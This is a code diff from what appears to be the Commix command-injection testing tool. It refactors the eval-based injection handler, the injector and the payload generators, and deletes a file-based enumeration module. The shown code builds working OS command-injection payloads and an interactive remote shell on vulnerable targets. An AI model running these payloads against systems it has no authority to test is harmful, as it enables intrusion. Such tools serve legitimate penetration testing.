session_handler.notification(url, technique, injection_type): - try: - settings.EVAL_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = eb_payloads.decision(separator, TAG, randv1, randv2) - - # suffix = _urllib.parse.quote(suffix) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" +")}", ")" + ")}") - #payload = payload + TAG + "" - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - if not settings.TAMPER_SCRIPTS['base64encode'] and \ - not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(" ", "%20") - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = eb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = eb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = eb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = eb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - found_cookie_injection = False - # Check if target host is vulnerable. - response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate test results. - shell = eb_injector.injection_test_results(response, TAG, randvcalc) - time.sleep(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) - - if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - eb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - if not menu.file_access_options() and not menu.options.os_cmd and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again = "Y" - if file_access_again in settings.CHOICE_YES: - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - # The main command injection exploitation. - time.sleep(timesec) - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - if menu.options.ignore_session or\ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - if shell != "": - shell = "".join(str(p) for p in shell) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() - """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, injection_type, technique): - if eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) == False: - return False + return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 013810fbf0..1c0aacbc1f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -3,258 +3,39 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -from src.utils import menu -from src.utils import settings -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.eval_based import eb_payloads +from src.core.injections.controller import injector """ The dynamic code evaluation (aka eval-based) technique. """ -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Get the response of the request - response = requests.get_request_response(request) - - return response, vuln_parameter - """ Evaluate test results. """ -def injection_test_results(response, TAG, randvcalc): - if response == False: - return False - else: - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", " ", html_data) - if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data) - else: - shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data) - return shell - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def injection_test_results(response, TAG, randvcalc, technique): + return injector.injection_test_results(response, TAG, randvcalc, technique) """ The main command injection exploitation. """ -def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - - def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): - # Execute shell commands on vulnerable host. - if alter_shell: - payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) - else: - payload = eb_payloads.cmd_execution(separator, TAG, cmd) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - # Fixation for specific payload. - if ")%3B" + _urllib.parse.quote(")}") in payload: - payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Executing the '" + cmd + "' command. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - sys.stdout.write("\n" + settings.print_payload(payload) + "\n") - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - response = cookie_injection_test(url, vuln_parameter, payload) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - response = user_agent_injection_test(url, vuln_parameter, payload) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - response = referer_injection_test(url, vuln_parameter, payload) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - response = host_injection_test(url, vuln_parameter, payload) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - response = custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if defined method is GET (Default). - if not menu.options.data: - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - target = url.replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - else : - # Check if defined method is POST. - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - - # Check if defined extra headers. - headers.do_check(request) - - # Get the response of the request - response = requests.get_request_response(request) - - return response - - # Do the injection check - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = 0 - while not response: - if tries < (menu.options.failed_tries / 2): - response = check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - tries = tries + 1 - else: - err_msg = "Something went wrong, the request has failed (" + str(tries) + ") times continuously." - sys.stdout.write(settings.print_critical_msg(err_msg)+"\n") - raise SystemExit() - - return response +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) """ -Command execution results. +The command execution results. """ -def injection_results(response, TAG, cmd): - new_line = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - # Grab execution results - html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", new_line, html_data) - shell = re.findall(r"" + TAG + new_line + TAG + "(.*)" + TAG + new_line + TAG + "", html_data) - try: - shell = shell[0].replace(new_line, "\n").rstrip().lstrip() - except IndexError: - pass - return shell - +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) # eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index 2beabfab44..45dd58ab17 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -24,8 +24,8 @@ eval-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - if settings.SKIP_CALC: + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -40,24 +40,24 @@ def decision(separator, TAG, randv1, randv2): else: if separator == "": payload = ("print(`echo " + TAG + "`." + - "`for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p =%i < nul`." + + "`for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "\"') do @set /p = %i " + settings.CMD_NUL + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" + separator ) else: payload = ("print(`echo " + TAG + - separator + "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + - "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + - "\"') do @set /p =%i < nul" + + separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + + "\"') do @set /p = %i " + settings.CMD_NUL + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: - if settings.SKIP_CALC: + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -90,9 +90,9 @@ def decision(separator, TAG, randv1, randv2): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" - if settings.SKIP_CALC: + if settings.TARGET_OS == settings.OS.WINDOWS: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -114,14 +114,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator +python_payload + + separator +python_payload + separator + "echo " + TAG + separator + "echo " + TAG + "`)%3B" ) else: - python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))\"" - if settings.SKIP_CALC: + python_payload = settings.LINUX_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" + if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + @@ -154,36 +154,37 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": - cmd = ( "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + - "') do @set /p =%i < nul" + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + cmd + "`." + + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + cmd + + separator + cmd + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) - else: + else: + settings.USER_APPLIED_CMD = cmd if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator + cmd + separator + "echo '" + TAG + "'" + @@ -196,40 +197,41 @@ def cmd_execution(separator, TAG, cmd): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: - python_payload = ("for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + - settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + - "') do @set /p =%i < nul" + python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + + "') do @set /p = %i " + settings.CMD_NUL ) if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + - "` cmd /c " + python_payload + "`." + + "`" + python_payload + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + - separator + " cmd /c " + python_payload + + separator + python_payload + separator + "echo '" + TAG + "'" + separator + "echo '" + TAG + "'`)%3B" ) else: + settings.USER_APPLIED_CMD = cmd if separator == "": - payload = ("print(`echo " + TAG + "`." + + payload = ("print(`echo " + TAG + "`." + "`echo " + TAG + "`." + "`" + cmd + "`." + "`echo " + TAG + "`." + "`echo " + TAG + "`)" ) else: - payload = ("print(`echo '" + TAG + "'" + + payload = ("print(`echo '" + TAG + "'" + separator + "echo '" + TAG + "'" + separator +cmd + separator + "echo '" + TAG + "'" + diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/__init__.py +++ b/src/core/injections/semiblind/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/__init__.py +++ b/src/core/injections/semiblind/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/semiblind/techniques/file_based/__init__.py +++ b/src/core/injections/semiblind/techniques/file_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py deleted file mode 100755 index 3c45321493..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ /dev/null @@ -1,569 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import sys - -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler - -from src.core.injections.controller import checks - -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, payload, TAG, timesec, prefix, suffix, 